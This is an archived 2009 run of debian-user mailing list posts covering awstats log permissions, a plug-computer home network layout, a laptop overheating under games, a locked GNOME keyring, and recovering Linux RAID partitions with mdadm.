To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Awstats Cron job not executing [SOLVED]

2009-10-27 Thread Alexey Salmin
Actually the log file itself doesn't need the execute permission. You
need that on directory you want to access a file from.

On Tue, Oct 27, 2009 at 10:23 AM, Kushal Koolwal
 wrote:
>
>  <20091027035155.gb5...@localhost.localdomain>
> Content-Type: text/plain; charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
> MIME-Version: 1.0
>
>
> Ahhh I finally resolved it.
>
> chmod 755 -R /var/log/apache2/*
>
> did the trick. It's funny that it needs execute permission also. No where i=
> n the README that is mentioned. Do you think I should point this to the mai=
> ntainer through BTS?
>
> Kushal Koolwal
>
> I do blog at http://blogs.koolwal.net/
>
>                                         =20
> _
> Windows 7: Simplify your PC. Learn more.
> http://www.microsoft.com/Windows/windows-7/default.aspx?ocid=3DPID24727::T:=
> WLMTAGL:ON:WL:en-US:WWL_WIN_evergreen1:102009=
>
>
> --
> To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
>
>


--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Wondering about doing something strange with networking

2009-10-27 Thread Alan Chandler
I am contemplating the possibilities with the plug computer, as an 
always on, router/firewall/web server for my house.

Unfortunately, although I could potentially use the usb port as an 
additional networking interface, there is only one built in network 
interface.

Now, I know from the past that from a linux point of view that shouldn't 
matter, since I can easily have interface eth0 AND eth0:0 ...

However, when it gets to actually cabling the thing up, I am getting 
confused between physical paths and logical paths.

I'll try some simple ascii art to draw the proposed setup

 --  -
| Ethernet || Cable Modem |
| Switch   | -
|  | -
|  ||Plug Computer|
|  | -
|  | -
|  || WAP |
|  | -
|  | -
|  ||Linux Desktop|
 --  -

In essence we have a number of devices hanging off an ethernet switch
My ISP requires I have a dhclient request a lease, through the cable 
modem.  So I need a logical link from eth0 on the plug computer through 
to the cable modem

The remainder of the devices - although ideally should use dhcp, could 
be configured with static addresses (and therefore also routes) to 
regard eth0:0 on the plug computer as a gateway (the plug computer would 
use 192.168.0.1 as its eth0:0 interface IP address, the dhcp allocated 
address on eth0 would not be in that range).

I think, in this scenario, the switch would soon learn not to send arp 
messages saying who has 192.168.0.x address to the cable modem, 
(although I am not sure it would matter if it did).

What I am less certain about is how I can cater for Wireless clients 
coming in over the WAP, who do really need dhcp allocated addresses.  My 
guess is that they would be requesting leases via some broadcasting 
mechanism, and that there is no way for the ethernet switch to prevent 
them going to the cable modem (and thence to my isp) and the dhcp server 
at my isp responding.

Is what I am trying to consider impossible?

-- 
Alan Chandler
http://www.chandlerfamily.org.uk


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: HP G60-249WM Notebook overheats (on lenny)

2009-10-27 Thread marc
Brian C. Wells wrote:

> Hi.  My HP G60-249WM Notebook's CPU is overheating, to the point that it
> shuts itself off, whenever I use any CPU-intensive game such as glchess
> (in the gnome-games package) or the non-free game sauerbraten.  I also
> use the non-free nvidia-glx for accelerated graphics, and have the
> laptop software packages installed, in case that matters.
>
> It used to do this when I watched youtube videos too, so I bought a
> cooling pad, and that fixed that problem; but with these games it's
> happening even with that.  I've tried using spacers to increase the
> ventilation, tried using it on my lap with the part that feels warm
> hanging out in thin air, even installed computertemp to get objective
> evidence that the CPU's temperature is increasing to dangerous levels
> (>95 deg. Celsius).  As soon as I start a game, it rises, and as soon as
> I stop it it falls.
>
> I haven't filed a bug report because this seems like a symptom of a more
> general problem.  I'm not sure whether software (e.g. acpi/apm config)
> or hardware is to blame, let alone which software package.  I would
> appreciate any advice.

Does the device have an Nvidia video card?

-- 
Best,
Marc

"Change requires small steps."





-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Network Manager wants to access default keyring

2009-10-27 Thread Mr. Wang Long
On Tue, Oct 27, 2009 at 12:05, Preston Boyington
 wrote:
> (commented in-line)
>
> On Mon, Oct 26, 2009 at 6:00 PM, Michael Biebl  wrote:
> 
>
> I've re-created my keyring and made sure that the libpam files are
> installed.  Still the same message.
>
> After rebooting I took a more careful look at the message:
> "The application 'NetworkManager Applet' (/usr/bin/nm-applet) wants to
> access the default keyring, but it is locked"
>
> so is it actually talking about the little applet running in the
> taskbar not having permission?  what's the workaround for this...
> other than typing the password each time.
>
>

The default keyring should be automately unlocked if you are login by
typing your username and password in gdm, did you enabled auto-login
in gdm?


--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Linux Raid Partitions

2009-10-27 Thread Stephen Grant Brown

Hi Dan,

Thank you for your reply.

/proc/mdstat -> no such file or dir
/dev/md0 -> no such file or dir

mdadm -Q /dev/sdb2:  -> device 0 in 2 undetected raid1

mdadm -Q /dev/sdb4 -> device 0 in 2 undetected raid1

mdadm -A /dev/md0 /dev/sdb2 /dev/sdb4

=>

mdadm: error opening /dev/md0

How do I create /dev/md0?

Thanks for your help and patience.

Yours Sincerely Stephen Grant Brown

- Original Message - 
From: "Dan Ritter" 

To: "Stephen Grant Brown" 
Cc: "Debian User" 
Sent: Tuesday, October 27, 2009 6:12 AM
Subject: Re: Linux Raid Partitions



On Mon, Oct 26, 2009 at 01:05:03PM +1100, Stephen Grant Brown wrote:

Hi All,

I have a drive out of a Western Digital Mybookworld World edition drive.

cfdisk -Ps /dev/sdb

tells me that there are four partitions and this drive and that the file
system is "Linux raid" on all four partitions.

How do I mount this partitions so that I can copy the files on this
partition onto another drive?


You may or may not be able to do so.

Install mdadm (apt-get or aptitude) if you don't have it
already.

Plug in the drive.

Check /proc/mdstat to see if anything is being mounted. If so,
you have a /dev/mdX filesystem available to you now.

If not, you want to investigate the partitions:

mdadm -Q /dev/sdb1
(and the same for the other partitions)

Do you have all the partitions that were part of a RAID set? If
so, you can assemble them:

mdadm -A /dev/md0 /dev/sdb1 /dev/sdb2...
or something similar.

If you don't have needed partitions, you may not be able to get
anything. You may be able to reassemble a partial set of a RAID1
or RAID5 set.

-dsr-



--
http://tao.merseine.nu/~dsr/eula.html is hereby incorporated by reference.
You can't defend freedom by getting rid of it.




--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org